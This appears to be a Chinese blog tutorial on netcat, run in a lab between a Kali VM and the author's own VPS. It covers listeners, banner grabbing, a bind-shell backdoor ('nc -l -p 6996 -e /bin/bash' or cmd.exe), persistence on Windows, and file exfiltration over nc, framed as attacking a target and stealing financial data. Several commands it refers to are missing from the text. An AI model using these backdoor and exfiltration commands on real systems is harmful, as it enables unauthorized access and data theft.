为了展示 netcat 将会使用两台主机。
- Kali linux 虚拟机
- Ubuntu vps
在公网 UBUNTU 上:
这行命令表示监听本机的8888端口。
在 Kali 上:
这行命令表示与公网 ip 为 144.168.*.70的主机进行通信。
在其他基于Debian的操作系统上:apt-get netcat
然后尝试在两边的命令行里面输入命令,结果发现另一个命令行都能看到输出:
上面就是使用Netcat在远程Ubuntu系统上创建了一个侦听器。然后在本地Kali系统上的端口8888(可以是任何端口)上打开了Netcat侦听器。
在攻击任何系统之前,我们需要尽可能多地了解目标。因此,一旦我们与Web服务器建立了TCP连接,就可以使用Netcat抓住已提供新连接的Web服务器的标识,以识别目标正在运行的Web服务软件。
可以使用HEAD / HTTP/1.0
命令将Banner抓取到Web服务器。请注意并完全按照斜杠和空格进行复制。或者,如果这不起作用,则可以改用 HEAD / HTTP/1.1
。
然后抓取banner。在我的kali输入:
可以看到抓回的信息显示web服务器是nginx。记得多按几次回车。
总之都可以找出它们正在运行的服务器,获取服务器信息。
修复: https://www.fengdingbo.com/netcat-invalid-option-e.html
我自己一不小心把nc删了,重新apt-get install netcat
了一遍就好了。
在kali上面开始监听此Ubuntu vps的6996端口:
就会发现这其实是Ubuntu的bash,所以我们在kali这里获取了一个Ubuntu的反弹shell。
Normal Shell VS Reverse Shell:
windows环境下netcat的安装及使用:https://blog.csdn.net/qq_37585545/article/details/82250984
成功建立监听。可以交流。
注意:
请注意,在Windows系统上,我们可以使用大写L运行相同的命令,以创建即使系统重新启动也将打开的持久侦听器!!!
- 建立后门
现在,让我们在目标系统上创建一个后门,以便我们可以随时返回该后门。根据我们攻击的是Linux还是Windows系统,该命令会略有不同。前面已经说过linux的命令为:
nc -l -p 6996 -e /bin/bash
Windows的命令为:
nc -l -p 6996 -e cmd.exe
很明显我们获取了 Windows 主机的反弹 shell。Windows 命令提示符已通过 Netcat 连接直接通过管道传递到 Kali 攻击系统。我们拥有了那个shell!
总结来说,这行命令将在系统上打开一个 listener,该 listener 会将命令行 bash shell 程序或 Linux bash shell 程序 “pipe” 到连接系统。
Netcat还可以用于从目标中提取文件和数据。假设我们需要目标系统上的数据,例如财务数据或数据库中存储的数据。我们可以使用隐身连接将数据缓慢复制到攻击系统中。
因为我们的Ubuntu在公网上,Kali 虚拟机在内网里,无法出网。所以此实验的场景为:把公网Ubuntu上面的try.txt文件通过netcat传输到本地的Kali虚拟机上。
然后看看在我们的Kali本地机器上是没有这个try.txt的:
然后在公网Ubuntu机器上开启一个nc传输:
cat '/root/try.txt' | nc -l -p 9999
这句命令的意思是:查看 try.txt 的内容,然后通过管道把这个结果写入本地9999端口通过nc传输。
然后在本地kali机器上开始监听此公网Ubuntu的9999端口:
nc 144.168.*.70 9999 > try.txt
这句命令的意思是,监听公网 IP 为 144.168.*.70 的主机(即此Ubuntu主机)的9999端口,把监听到的结果写入 try.txt
。
再在Kali终端上新开一个terminal查看接收到的文件:
发现已经接收到了。
注意:
windows 里面查看文件命令为 type
而不是 cat
,也可以通过这种方法来传递其他格式的文件比如 xls、csv 等等。
如果在内网里面的机器想要通过netcat进行通信,让处于公网里的VPS进行监听,就必须进行内网端口转发/内网穿透。
但是一定要注意一个误区就是:端口转发≠内网穿透!
此部分因为方法众多,故单独成文。
参考链接: [1] Use Netcat to Spawn Reverse Shells & Connect to Other Computers [Tutorial],Youtube,2018年12月7日 [2] How to Use Netcat, the Swiss Army Knife of Hacking Tools,NULL BYTE,2018年12月8日